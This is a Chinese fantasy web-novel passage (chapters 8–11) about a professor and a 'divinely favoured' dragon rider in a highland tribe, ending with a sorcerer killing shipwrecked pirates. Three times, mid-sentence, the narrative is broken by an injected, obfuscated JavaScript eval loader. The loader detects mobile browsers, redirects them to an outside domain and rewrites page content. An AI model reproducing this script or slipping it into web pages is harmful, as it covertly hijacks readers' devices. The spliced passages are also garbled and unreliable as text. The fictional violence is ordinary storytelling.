《鉴定一下崩坏漫画男主》 8. 恐吓 神眷者当然不会怕虫,帝国的英雄、世界的救世主大人居然害怕一只小小的昆虫,说出去也太匪夷所思了。 他只不过是童年时将用虫子对“漂亮妹妹”恶作剧的男孩儿们暴揍到痛哭流涕悔不当初,同时对待那些和昆虫沾边的敌人时更加凶残罢了。 所以不是怕,是恶心。 他在心里再次重复了一遍会被记忆中的同伴嗤之以鼻并大呼“公主殿下”的论断,严肃而真诚地盯着另一人。 他的宿敌意味不明地看了他一眼,将那只胖乎乎的虫子轻轻放到了一朵蓝格罗姆花上,任由对方迟缓地划拉着小短腿,并且大发慈悲地没有指出救世主大人脸上每一个微表情都在表露抗拒。 黑发青年再一次翻开了笔记本,示意阿祖卡过来看。这一次他换成了通用语:“第一种方案,成本低但效果一般,调整一下投石机的位置,尽量避免砸毁房屋。根据我的观察,群居的中小型飞龙喜欢从阴影较多、树木丰沛——也就是这个方位发起攻击,而不是自上空俯冲。所以综合计算下来摆在这几处可以更大范围地进行防范。” 他用炭笔勾了几个圈,又在旁边写了几行竖式。 对方唔了一声,若有所思地点了点头:“效果较好的方案呢?” “第二种方案,架网。”教授在地图上点了点:“我不知道你们的具体冶炼水平,但是根据我在族里观察得来的情况,勉强可以实现——网可以为你们提供更多的反应时间,将网孔放大也可以尽量避免误伤走兽与飞鸟,坏处是需要耗费较多的时间与精力,而且需要安排专人时时维修查看。” 没等另一人点评,他又继续说了下去:“还有第三种方案,也是我个人很感兴趣的方案,声波武器。” “……声波是什么,一种法术?” “不是法术,简单粗暴来讲就是寻找一种特定的声音,人听不见,龙听得见,不会对人造成伤害,但是令龙难以忍受甚至可以杀死龙。”黑发青年轻描淡写地解释,浑然未觉这话对异世界土著来说有多惊悚:“鉴于你们在谷里养龙,所以我建议将声波发射装置布置在谷外几处特定位置——根据观测,靠近阿萨奇峰的几处缓坡就挺好。如果无法找到足以杀死龙的有效声波,也要尽量驱逐它们,或者将它们往一处赶,再一次性灭杀,这样也能避免误伤人类驯养的龙。” “……您已经找到了可以驱逐龙的‘声波’?”神眷者的声音变得轻柔起来。 “不,我知道该如何制作一个简易的初步发射装置,但是关于声波具体频率、大功率强声源开发、声波定向辐射或聚束、声波的吸收衰减等等,目前为止还只是一个有趣的课题构想。”教授的语速加快了一点。他所说的许多专业词汇非常晦涩冗长,听起来像是选取了同义词自行拼凑起来的。 “不过如果你们可以提供给我几只龙,在阿萨奇峰附近的几处地点做些实验——” “不可以。”神眷者有些严厉地打断了他。 对方一副“我早就想到”的表情,平静地点了点头:“我就知道你不会同意,这个方案对纳塔林人的现状来说难度过大,不切合实际。” “而且集体灭杀这种行为还很残忍?”诺瓦看了眼神眷者的脸色,勉为其难地补充了一句。“所以我个人建议将第一种和第二种结合使用。” “……不是因为残忍。”神眷者轻声说:“人杀死龙,龙也杀死人。要想占据有限的资源,在这片高原里生存下来,本身就是你死我活的事。” “哦,那就是因为危险。” ——一种无需凭借法术、连龙都能于无声中杀死的降维打击式新型武器,而且很容易让人将实验对象联想到人类身上。虽说诺瓦自认不是什么罔顾科研伦理的反社会疯子,但他无法操控他人的看法。 果然,另一人严肃地回答他:“因为危险。” 诺瓦眨了眨眼睛:“我可以签订灵魂契约,保证不会泄露这种技术、利用其伤害人类或损害纳塔林人的利益——我说了,我个人对这个课题很感兴趣。” 他浑然已经将灵魂契约当成了立项申请书来使用。 “……这仅仅只是其中一个层面,教授,而且我本人并不觉得您会借助这项尚未实现的技术对人类做些什么,您不是这种人。” “好的。那是因为什么?” 被人认真解释安抚的黑发青年飞快且敷衍地扯了扯嘴角,满脸写着我压根不在乎你的真实想法,继续催促他说下去。 阿祖卡叹了口气——他忽然觉得和宿敌呆在一起的时候,自己叹气的机会格外多。 “您冷么?”他忽然问道。 对方警惕地看了他一眼,表示这和接下来的话题又有什么关系。 但是神眷者干脆从另一人的背包里翻找出打火石,不急不缓得用风在四处薅了点枯枝,收集起来生了一堆火,然后从某个毫不起眼的洞穴里揪出了一只吱吱乱叫的东西。 “我说的危险是因为这个。” “……一只灰背游鼠?” “没错。”神眷者轻轻松松地拎着那只拼命挣扎的大老鼠,然后理所当然地冲诺瓦摊开修长白皙的手指:“您带水和小刀了么?” “……” 教授面无表情地看着对方熟练无比得用小刀给那只倒霉的灰背游鼠开膛破肚,处理皮毛和筋膜,然后用风操控着水团冲洗干净内脏,再把废弃物全部丢到山下去。 这场景再次让诺瓦想起了仙女教母,还是荒野求生版本的。 很快,那只被处理得仅剩雪白细嫩肉.体的游鼠在火上烤得滋滋冒油,空气中弥漫着一股奇异的异香,诺瓦突然觉得胃一阵剧烈而贪婪的抽搐,竟是出现了久违的食欲。 他不由皱起眉头,用手压住腹部,移开了视线。 “可以吃的,放心吧。”对方显然是误会了他的反应,温和地解释道:“灰背游鼠只吃植物,很干净,而且味道也不错。” 布洛迪教授冷着脸:“我想现在不是讨论老鼠能不能食用的时候。” “您现在的脸色很难看,您需要食物。” “这和您没关系。” 被人毫不客气地顶了回去,但神眷者依旧不恼,宽容、温和、坚决而沉默地望着另一人。诺瓦与他对视了一会儿,终于隐忍地吸了口气,脱下了一只手套。 “……请给我一条腿吧,谢谢。” 他不情不愿地说。 见宿敌开始进食,惨白的脸上终于出现些许代表暖意的血色,阿祖卡满意地翻烤着猎物以保持余温,总算继续他的解释。 “灰背游鼠在这片高原上泛滥成灾,这些小东西格外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425359|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恋家,一对鼠夫妻每年会生产五到八只幼崽,慈爱的父母与长辈不会将长大的幼崽赶出族群,直到鼠群过于庞大,岩缝再也容不下它们,食物也被消耗殆尽,它们便会举族搬迁,开辟新的领地,一路上不管因恶劣的自然环境与贪婪的掠食者损耗多少同族,鼠群都不会被拆散。” “但是每隔一段时间,鼠群中会突然出现一只行为怪异的游鼠。”神眷者的声音变轻了,在高原吵闹而单调的风声中,莫名显得格外飘忽诡异:“它会脱离族群,不顾同族焦急的呼唤,独自朝着阿萨奇峰的方向进发,哪怕被同伴咬断双腿也会挣扎着朝向目的地爬行。” “越是靠近雪山,环境便越发极端。植被会彻底被冰雪掩埋,游鼠找不到食物,它的唯一结局就是死亡。”他的声音已经轻得近乎耳语,但也许是因为对方施加了风的力量,那些话语依旧顽强地钻进在场另一人的耳朵里:“它为什么要这样做?它听到了什么?雪山的深处有什么呼唤着它,吸引着它那比坚果还要小的脑仁?我们到现在依旧无从得知。” “但是,只要鼠群中出现了一只‘朝圣者’,这种自杀行为会如瘟疫一般在整个族群中蔓延。”如梦呓般的声音轻声描绘道:“那是一副无比荒诞可怖的场景,灰白色的游鼠群不再躲藏在深深的巢穴里,而是潮水般占据了视野所及,朝着群山深处进发,直到半途冻饿而死——这场尽头注定是死亡的朝圣会一直持续,直到整个庞大臃肿的鼠群仅剩下十几只游鼠,它们才会如梦初醒般重新钻回岩缝中。” “教授,”那个声音已经近在耳畔:“对此您有什么头绪么?” “……某种频率的超声波或次声波?”诺瓦叼着烤游鼠腿,皱眉思考着。他不适应地往旁边挪动了一下——说话就说话,为什么要突然靠这么近,陌生的呼吸吹得人耳朵痒痒的。 “也许。”神眷者摆正倾斜的身体,恢复了正常音量总结道:“阿萨奇峰深处有东西,能够发出人类听不见的声音。之前我一直不知道该如何描述,您提出的‘声波’倒是一个可行的解读——那么如果贸然在四周架设‘声波武器’,是否会引起那东西的反应,引发谁也无法预料的灾难?这就是我所说的‘危险’。” “您的顾虑是正确的,是我轻率了。”教授干脆利落地承认了自己的错误。“不过我还是得指出一点。” “您说。” “以后请不要用讲故事的方式与我沟通,这会影响我的信息获取效率。”他毫不客气地抬眼指责道,烟灰色的眼珠子里写着你实在是太啰嗦了。 啰哩巴嗦的神眷者:“……” 教授与他对视了一会儿,忽然恍然大悟:“等等,我明白了——你刚才是想吓唬我?” 另一人无奈地、深深地叹了口气——再说一遍,他叹气的频率真是与日俱增:“是啊,明明每次讲完这个故事,族里的孩子都会被我吓得直哭。” 从而起到格外良好的安全教育效果。 阿祖卡垂下眼,用小刀切下另一条游鼠腿递给他的宿敌,看人下意识接过去,嘎吱嘎吱地咬,他的眼中忽得浮现了一点笑意,但又很快隐去了。 “那么我就直说吧。”神眷者语气平静,某种似曾相识的威严与压迫感再次从他身上浮现。 “无论如何,不要试图靠近阿萨奇峰,会死。” 9. 争执 拉米娜的一天从向风暴之神乌托斯卡祷告开始。 祷告结束,进行日常修行锻炼,清洁身体,检查武器磨损情况,今天轮到哥哥做饭——果然又是玛姆果炖银背鱼配上烤玛拉,讨厌。把早餐吃光,前去猎队报道,巴萨的伤势情况不妙,还在昏迷,担忧。分配任务,组成小队前往安装什么“防龙网”,黑头发的贵族也会跟随,啧,烦躁。 “休整结束。” 纳塔林战士无声而迅捷地收拾着行囊,站在树上勘测路线的拉米娜轻盈地跳了下来,居高临下地望向还坐在树荫下的黑发贵族,重点盯着对方那泛着不正常潮红的面容与额上的冷汗,慢慢皱紧了眉头。 “你怎么样,可以继续么?” 对方抬起头来看了她一眼,没有说话,只是用手撑着身边的树干,勉强站起身来。 由于此行需要进入山谷东侧的原始森林深处,那里少有人涉足,植被茂密,路都没有。大角鹿无法通行,小队只好全程徒步前行。猎队里的纳塔林战士多为武者,也有少部分术士,个个身体素质都不错,哪怕需要扛着设备,这点路途对他们来说依旧不算困难。 只是苦了那位看起来出生后就没怎么用自己的脚走过路的贵族老爷。 不过出乎拉米娜的意料,对方始终没有叫苦抱怨,也没有撂挑子不干。虽说自己有意控制了队伍的前进速度,但那家伙确实是一路竭力紧随,尽管是一副快要断气的模样。 这倒是让拉米娜对他改观了不少——不过很快这点微妙的好感就被人撕了个粉碎。 “你听不懂人话么?”红发姑娘强压着火气,恨不得一拳揍上去:“再往前走就是七级魔兽雷蟒的地盘,而我们现在只有五个人,最强战力是我,高级使徒武者——我不会让我的人无缘无故冒这个险!” 安布罗斯大陆的战力等级划分为侍者、使徒、主祷、圣者四个阶层,每个阶层又分为初级、中级、高级三个阶段。一名高级使徒大概可以等同于一只六级魔兽。 “我能听懂。”对方本地话溜得飞起,完全没有最初的磕磕绊绊:“但是这里的地况不适合布置地基和立杆,为了整体效果必须要再向前推进五百米左右。本来实地考察工作应该提前完备,是你们告诉我人手不足——而这也是我出现在这里的原因。” “见鬼,只是五百米而已?”拉米娜有些暴躁。 “看似微妙的差距会导致整体效果的崩塌,”对方冷着脸,飞快地反驳她:“不要用理所当然未经证实的幻想来质疑我的判断结果。” 拉米娜:“……” 一旁惊叹于胆大包天的异乡人居然敢怼大姐头的纳塔林战士:哇哦! 拉米娜更想揍人了——奈何这家伙看起来绝对经不起她一拳,不到三秒她就得跪在地上给人急救复苏。 诺瓦同样深吸了口气,他现在脚疼得厉害,也有些喘不上气,还要耐着性子和不相信自己的陌生人解释一堆废话,这让他烦躁起来,语气也越发不客气。 “时间紧迫,我们还有其他立杆需要架设,况且雷蟒本身也得清除——蛇类有攀爬的习惯,很有可能会破坏设备,它的存在是一个巨大的隐患,难道你们想要每天冒着危险分派人手前来检查维修?恕我直言,这种对人力的巨大浪费十分不切实际,也过于愚蠢了。” ……虽然这家伙话说的好像挺有道理,但是怎么这么讨人厌呢? 拉米娜深吸了口气:“……我去侦查情况,并负责主力进攻,其他人绕后辅助我。” “十分钟之后再行动。那只雷蟒大概在六个小时前进食了一次,它吃了一只岩羊,吃得很饱,要想彻底消化完大概需要两天。”黑发青年迎着众人震惊的目光,气人地啧了一声:“拖拽痕迹,毛发,不同的土壤类型,树枝断裂方向——这些你们应该比我熟悉。” “蛇受惊后会优先吐出腹中的食物,然后再逃跑或战斗,哪怕是魔兽也不例外。”教授面无表情,但那不容置疑的语气听起来像是已经看到了未来:“我带了火药,给我十分钟,设置一个简单的扩散装置再引燃火药,这里离雪山较远,也不必担心引起雪崩——突如其来的巨大声响会让雷蟒受惊,因为情况不明,它一定会立即吐出腹中食物,而不是释放雷电,这时的雷蟒会更好对付些。” “你们可以不相信我的判断。”那双烟灰色的眼睛冷漠而锐利,宛若傲慢独断的暴君:“但是如果不想死人的话,你们别无选择。” …… 神眷者是在族中巫医的屋里见到自家宿敌的。当时他正在检查巴萨的伤势,结果就瞧见几个猎队成员架着脸色不太好看的教授走进来,不由分说地将他按在床上。 对方看起来不是自愿的,眉头紧锁,几次试图爬起来,又被那几人按了回去,如一只不情不愿、被人逮住的猫。 阿祖卡有些惊讶:“怎么了,这次不顺利么?” 拉米娜实力不错,虽说性格有些急躁,但行事细致谨慎,应该不至于出事才对。 “神眷者?”族人这才发现他,连忙恭敬地低头行礼,得到了一个温和的颔首。 “不,一切都很顺利。多亏了教授,这次猎队没有人受伤,我们还带回来了一只雷蟒!”一名纳塔林战士难掩兴奋。雷蟒的肉质鲜美细嫩,又很大只,是非常难得的美味。 神眷者挑起眉头,示意着瞥了眼挎着脸的教授先生——那这又是怎么回事? 另一名纳塔林战士忍着笑意回答:“就是回来的路上教授把脚给扭了。” 阿祖卡:“……” 他强行控制住嘴角的弧度,以免将人惹恼了。等族人走了以后,他才轻却不容置疑地按住另一人的肩膀,阻止对方起身:“坐着等一会儿吧,纳卡婆婆去拿药了,很快就回来了。” “不必麻烦,我可以去找船医。”诺瓦皱着眉,他宁愿相信船医老杰森的医术,也不想呆在这里闻那怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425360|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异刺鼻的草药味。 “你们还有多余的药物?”神眷者淡淡问道,不等对方回答,顺手捏了捏黑发青年的后脖颈,手心烫得人下意识一哆嗦。 “别动。” 他低声说,松了手,俯下身来将另一人的裤腿卷上去,仔细查看对方脚踝上青紫一片的吓人伤势,只留下诺瓦坐在原地睁大眼睛,一时竟不知该作何反应。 但是很快,一种尖锐剧烈的疼痛突然自脚踝袭来,诺瓦猝不及防地闷哼一声,下意识攥住另一人的手臂,想要把脚抽回来,但是被人按得动弹不得。 “还是这只脚,之前的伤就没好透。”对方很快就松了手,重新将他的裤腿放了下去。 “万幸是骨头没事,但是必须得按时上药,否则你的脚以后还会扭伤,甚至脱臼。”神眷者平静地看着他。不知为何,诺瓦总觉得对方现在有些……让人瘆得慌。 好在有人掀开门帘走了进来,打破了这莫名古怪的气氛。 “纳卡婆婆。”神眷者不再看另一人,站起身来搀扶皱纹满面、颤颤巍巍的老人,并顺手接过对方手里的东西。 老人眯起湿润的眼睛,仔细辨别来人好一会儿,才慈祥地微笑着拍了拍对方的手臂。 “艾莲娜,好孩子。” 对方沉默了一下,无奈道:“纳卡婆婆,您又认错了。我是阿祖卡,艾莲娜的儿子。” “啊呦,老了老了,这不是小飞鸟么?——你别扶我,我还没这么老呢。” 老巫医从新带来的小药罐里掏出一些药粉,仔细撒在另一张床上昏迷不醒的伤者的伤口上,对方发出了微弱的呻.吟,无意识地挣扎了几下,又被阿祖卡按住了胳膊。 “好啦,这个更有效果——最迟今天晚上他应该就能醒了。”老人心满意足地拍了拍手,笑眯眯地看向黑发青年:“好孩子,你是怎么了?” 诺瓦有些僵硬,他并不擅长应付这种和蔼的长辈,好在在场的另一人直接开口帮忙解释道:“他的脚短时间内扭伤了两次,麻烦您帮忙看看吧。” “唔,我看看……” 老巫医凑过去检查了一番,又上手捏了捏,最后从身后满满当当的药架上取下了一小罐药膏,嘱咐诺瓦一天要涂抹俩次。 那药膏闻起来和拉姆达给的似乎不太一样,区别大概就是更加刺鼻难闻。 诺瓦:“……” 神眷者还不放过他,对方先是搀扶着老巫医到里屋休息,又折返回来,洗了手,准备好绷带和药膏,打算降尊纡贵亲自动手给人上药。 “这个药比较刺激,可能会有些疼。”对方把声音放得很轻柔,语气温和得要命,简直像是在哄小孩:“忍一忍吧,我尽量轻一点。” 教授终于忍无可忍了:“您有病?” 他们俩人很熟么?这幅过于温柔体贴的模样简直令诺瓦毛骨悚然,哪怕他时常被人骂“脑子有病”,现在都难以理解对方的脑回路。 10. 坦诚 黑发青年毫不领情地皱着眉头:“我知道有一种病态心理,喜欢强迫他人依赖自己,接受自己的付出与照顾,从而掌控对方,常见于控制欲过强的母亲对孩子——好心提醒,有病就去治。” 别发泄在我身上。那双灰色的眼珠冰冷地盯着另一人,如此说道。 “……有些时候,您真的非常、非常的擅长惹人生气。”神眷者轻轻地说。 他扣住那截嶙峋瘦弱的脚腕,脆弱轻薄的皮肉因肿胀而发烫,血管在他的掌心里突突跳动着,就像在不自觉得轻轻发抖。 另一人仿佛觉察到了危险,不安地挣扎了一下——对方的喉咙里突然挤出一声小小的呜咽,冷汗顺着扬起的脖颈淌了下来。黑发青年猛地攥住了身下的床单,却又因戴着手套的缘故无力抓握,仅仅只是抓皱了些许布料又从手心里滑落。 “很疼么?” 神眷者不轻不重地握紧对方下意识挣动的小腿。他一边用手指缓缓按揉着伤处帮助药膏吸收,一边温和耐心地安慰道:“请忍耐一下,很快就好了。” 宿敌不理他,闭紧了眼别开头去。从他的角度来看,苍白紧绷的脖颈上,吞咽蠕动的喉结与暴起的青筋清晰可见。除了最开始猝不及防的一声,上药过程中对方始终一声不吭,只是用手指死死箍着自己的另一只手,洗到发白的手套上的细密绒毛被揪得凌乱不堪,看起来是真疼得不轻。 神眷者慢条斯理地继续着手上的工作:“很简单,我救了您的命,为您提供了庇护,您又能为我带来些什么?” 他的声音一如既往的柔和清澈,令人不知不觉陷落进那片看起来暖融融的水光……但是直到触到狰狞冷硬的底礁,猎物才会惊慌地发现,自己已被困在了深海的密闭牢笼中。 “我十分欣赏您的能力与头脑,但是不喜欢您的自毁倾向……如果任由您这样胡闹下去,我会很困扰,也许会做出一些不太礼貌的事——正如您所说的,这不符合‘获取效率’。” 他记仇般的,咬清了最后那个字眼。 在某种意义上来说,救世主大人是一个极其恶劣的混蛋。如果真得相信对方那副光风霁月、温柔高洁的外壳,一定会被坑得连渣都不剩。 先将脚踝包裹固定好,再缠上厚厚的绷带,阿祖卡站起来,打了些水仔细清洗自己的手指。等手洗完了,扭头一看,宿敌正一言不发地挣扎着想要下床,他无奈叹了口气,上前扶住对方肩膀,俯下身来仔细辨别那双灰眼珠中的情绪:“教授,您还在生我的气吗?” “……多谢您的好心,”黑发青年面无表情地看着他:“但是请放手,我可以自己站稳。” “哦,还在生气。”神眷者面不改色点点头,收紧手指,不顾那点抗拒的力量,将人搀扶起来。 又有人掀开门帘钻了进来。 “神眷者?” 拉米娜神情有些微妙地看着屋里站立的两人——神眷者的手为什么搭在讨厌鬼的肩膀上? 被叫住的某人看了过来,那张脸在阳光下简直令人目眩神迷,哪怕是早已习惯对方长相的拉米娜都不免有些呆愣——纳塔林人都长得不错,但神眷者本人从小就是最好看的那一个。至少就拉米娜所知,为了决定谁可以和还不是神眷者的“小飞鸟”一起玩儿,小孩子们背地里可没少打架,男孩女孩都有。 “来看巴萨?”丝毫不知自己曾被迫喜提“红颜祸水”名号的神眷者冲红发姑娘微微点头:“新药起作用了,纳卡婆婆说他今晚应该可以醒来。” “我的风神啊,这太好了!”拉米娜顿时将心里那点怪异抛之脑后。她冲到伤者床前,望着对方产生了些许血色的面庞,嘴唇颤抖了几下,想要帮人掖一掖被角时才发现自己手里还提着东西。 红发姑娘咳嗽了一声,把那用树叶和麻绳包裹着的一大坨朝诺瓦递来:“拿着,雷蟒的肉,你应得的那份。” 她有些别扭地嘟囔:“你这家伙虽然欠揍,但确实挺聪明的,今天我不该质疑你,态度也不好,我道歉。” 阿祖卡忽然感到宿敌的身体极不明显的瑟缩了一下,肌肉也应激般轻微绷紧。如果不是两人靠得很近,他甚至觉察不到这种奇异的抗拒。 对方似乎是对他人的歉意感到紧张。 “……你们这些人会对我产生质疑是正常的,而且你们也有出力,不然无法杀死那只雷蟒,所以不必道歉。”教授掀起眼皮,没有接那些雷蟒肉,冷冰冰地说。其中莫名的意有所指感让拉米娜不适地翻了个白眼。 “什么叫你们这些人?风神在上,你就不能好好说话?” “我不明白,我的意思是你不必和我道歉,以你的阅历和头脑没有想到我所想的事是正常的,如果从中理解出其他含义那是你的……” “我来拿吧,您的脚受伤了。”阿祖卡打断了有些剑拔弩张的气氛。他平静地在族人怪异的眼神中接过了那块还在往下滴血的雷蟒肉,顺便掂了掂:“分量真不少——雷蟒肉要尽快处理,腌制后烧烤或者直接炖汤都是不错的做法。” “啊?哦,没错,吃不完的话风干也可以。”拉米娜张了张嘴,很给面子的偃旗息鼓下了台阶,心道神眷者不是不喜欢雷蟒肉的淡淡腥味么? 然后她看着神眷者微微侧过脸,十分温和地同身边人说:“抱歉我还有些事——脚还疼得厉害么?我找人送您回去休息?” “不必,我好多了,会有人来找我。”对方冷硬地回答道,扬起下巴点了点那个急匆匆冲过来的小鬼,好像是叫巴鲁的男孩。 阿祖卡不动声色地看了那小子一眼,对方顿时冲他傻兮兮的红了脸,呆愣在原地嗫嚅了几句,一句话也没说出口。 他干脆微笑着用通用语嘱咐了几句,又将药膏和雷蟒肉递给对方,看人扶着自家宿敌,几乎是左脚绊右脚的离开。 “教授,”他忽然切换成纳塔林人的语言,提高音量对两人的背影说:“我答应您之前提出的条件,但也希望您能主动履行诺言。” 他指的是对方之前自己得寸进尺提出的“交易”:只要他按时涂药,神眷者就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425361|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会送四人平安离开阿萨奇谷——现在关于离开阿萨奇谷一事已有着落,如果对方没有按时履行职责,那他可要强制执行了。 宿敌的脚步没有丝毫停顿,头也不回地离开了这里,不过那个身影怎么看都有种呲牙炸毛的即视感。 成功地稍微欺负了一下尚且青涩的宿敌,神眷者矜持地收回视线,然后对上了族人微妙的眼神。 “嗯?怎么了?” “很少见您这样……高兴?”拉米娜斟酌了一下用词。 高兴一词还不足以描述,更像是呃,洋洋得意,心满意足? 反正挺幼稚的。 对方微笑着看着她:“你不觉得逗弄他很有意思么?” 拉米娜:“……” 完全不觉得啊,能不被那家伙气死都是一件幸事! 凭着女性的直觉,她总觉得哪里不太对劲。虽然嘴上这么说,但神眷者的态度不太像是对待小猫小狗儿一样、高高在上漫不经心的逗弄,反倒重视得过了头。 神眷者本人看起来脾气温和,脸上常年带着淡淡笑意,十分亲切好说话的模样。但是时间长了,身边人都能隐隐觉察到对方的淡漠无波与难以接近。哪怕是他们这些从小一起长大的同族,拉米娜也想不通,当初那个有些被宠坏的小脾气,但依旧柔软善良、开朗爱笑的漂亮孩子,为什么会在一夜之间变成这幅模样。 风暴之神乌托斯卡啊,这也是您的旨意么? …… “您怎么出去一趟就变成这幅模样了?!”斯卡波船长看着教授那只被绷带厚厚包裹着的脚,顿时大惊失色:“巴鲁说有个野蛮人崽子让他过去一趟,那傻小子也没和我讲就自己先去了——是那群野蛮人干的?” “不是,我自己不小心。” 诺瓦被念得头疼,他捏了捏眉心,被人搀扶着坐在椅子上。老船医小心地一圈圈打开绷带,在发现不过是单纯的扭伤后无语地咕哝了一声,表示自己还以为是骨折或者贯穿伤。 “我不能全部认出来,不过他们用的是好药,现在脚踝已经消肿了。”船医总结到。 “教授先生,刚才那位金色头发的大人,就是风行者的龙骑士吧?”一旁的学徒巴鲁满眼憧憬地问他:“您和他熟么?他是个什么样的人?” 其实他更想问问对方有没有妹妹,姐姐也行。 但是教授先生居然没有第一时间回答是或否,也没有用那双严厉冰冷的眼神盯着人看,说这和你无关。 对方思考了一会儿,罕见地有些迟疑道:“我不好说,他是个坦诚而危险的人,身上有很多秘密,但暂时对我们没有敌意。” 那个人既然是有所求的,那么暂时是安全的。那些冷酷而纯粹的利益交换,却让诺瓦感到平静,甚至可以短暂地忍受一下神眷者奇特的坏习惯。 ——那家伙大概是习惯靠这套来收买人心,结果生搬硬套到自己身上时却翻了车。 教授又慢吞吞的、毫不客气地补充道:“不过最好离他远点,他有病。” 11. 海盗 海浪咆哮翻滚着,仿佛要吞噬整个世界。 一只几近散架的船被浪尖抛上了天际,又重重砸回海面。船上的几人衣衫破烂,浑身脏污,惊惧而绝望地诅咒着彼此。 “死亡海域!这里一定是死亡海域!你他妈的带老子来死亡海域——”面目粗陋的秃头男人死死拽着老独眼龙的衣领,嘴里的唾沫星子都喷到了对方脸上。 “海神啊,完啦,都完啦——” 老独眼龙哆哆嗦嗦地说不清话,秃头船长狠狠给了他一巴掌,将人扇到地上。 这老不死的告诉他,自己从港口佣兵们的谈话中偷听到了一条可以“发大财”的航线,据说航线的尽头是一处废弃已久的龙巢,那里遍地都是无龙看守的金银财宝。 身为不太入流的海盗,他们不敢招惹那些财大气粗、能给全船添加高级法阵的商队,也不敢与同行黑吃黑,也就只能打劫打劫穷鬼渔民,玩玩村里女人。但是最近灰桥港来了位不得了的大人物,港口的海军严阵以待,恨不得一天巡逻个八百回,逼的附近弟兄都没了饭吃。 眼看手下海盗都要脱团自寻生路去了,秃头咬了咬牙,干脆带着全部家当出海寻找佣兵口中的“龙巢宝藏”。 谁知那老不死的独眼龙偷听来的航线这么不靠谱,居然七转八弯地将他们引向了当地传说中著名的“死亡海域”。 几个海盗被巨浪甩了出去,还有一个被秃头推开挡住折断的桅杆,当场断了气。但是海神欧德莱斯似乎并不准备眷顾他那贪婪凶狠的信徒,伴随着一阵剧烈的晃动,早已不堪重负的船体悲鸣一声,彻底被撕成了俩截。 海盗们绝望地试图抓握手边所有能抓住的东西,但这一切不过是徒劳,漆黑的海水从破损的船体外如蛇群般涌入,眼看他们马上就要跌入深沉冰冷的海中,一种无形的力量忽得将两截船体固定在了即将断裂开的角度。 海浪与天空漆黑一片,唯有一轮月亮亮得吓人。来者就这样悬在夜空中,背后是如群山般高耸的巨浪,金发被风吹得四散狂舞,那张精雕细琢的脸在月光下简直美得脱离了人类的范畴,显露出一种奇异而渗人的力量来。 海盗们看得呆住了,还是海盗船长最先反应过来,激动地喊到:“大、大人!术士大人!求您救救我,我愿意把所有的财宝都献给您——” 这下海盗们都回过神来,顿时七嘴八舌地哀求起来。 一位能够凭空出现在死亡海域之上的术士,想想也知道对方等级绝对不低——也许是一名使徒,甚至是一位尊贵的主祷大人也不一定,说不定他们真能得救! “财宝?你们的船已经破成了这样,哪里会有什么财宝?” 对方低笑了一声,如一片光洁的羽毛点在断裂的甲板上,秃头瞥见那些海浪甚至无法沾湿来人的衣摆,顿时吞了口唾沫,小心翼翼地谄媚笑道:“大人,我现在没有,但是我知道一条绝密航线,通往一处废弃的龙巢,那里可遍地都是金银财宝——只要您愿意救我一命,我就将这条航线和龙巢里所有的财宝都献给您!” 术士沉吟了一会儿,微微抬起眼来:“听起来似乎不错,但是我只能带走一个人。你们都知道这条航线么?” 秃头连忙嚷道:“不不不,只有我知道,您带我走——” “放屁!这明明是我告诉你的!”老独眼龙尖叫起来:“大人,您带我走,我知道的比他多,这一路都靠我指路!” 秃头顿时大怒:“老东西,你还有脸说!要不是你胡扯八道,老子怎么会落到这般地步!” “明明是你自己说的,港口佣兵团的消息不会错,强拉着我们一起出海——” “闭嘴。” 来人轻轻地说。 那点声音本该淹没在海浪与风声中,但却极为清晰地传到每一个海盗的耳朵里。随后他们惊惧地发现,自己不管怎样努力喘息,都汲取不到任何空气,就像被某种无形的存在掐住了脖子。 随着窒息感的逐渐加剧,海盗们开始一个接一个的瘫软在地,濒死青蛙般剧烈抽搐起来,偏偏整个过程中,没有人能发出任何一点声音,而来者就在这荒诞可怖的默剧中,好像很是惬意的微微颔首,看向在场唯二还能呼吸、只是吓得快要尿裤子的秃头和老独眼龙。 “好了,现在安静多了。” 他温和而亲切地微笑着:“看来只有你们俩人知道怎样才能找到‘龙巢宝藏’,那么我该带谁走呢?” 秃头的嘴唇哆嗦了几下,这才发现来者压根不是什么好心的救世主,而是疯狂嗜血的魔鬼本人。 他刚想张嘴求饶,胸口却猛地一凉。他低下头,一根断裂的木锥出现在他的视野里,而老独眼龙那只仅剩的、爆着血丝的浑浊眼珠渐渐与那些被他杀死的人的眼睛重合,随后,他便在撕心裂肺的剧痛中听见老独眼龙激动到失真的声音:“大、大人,他活不了了,现在只有我一个了!” 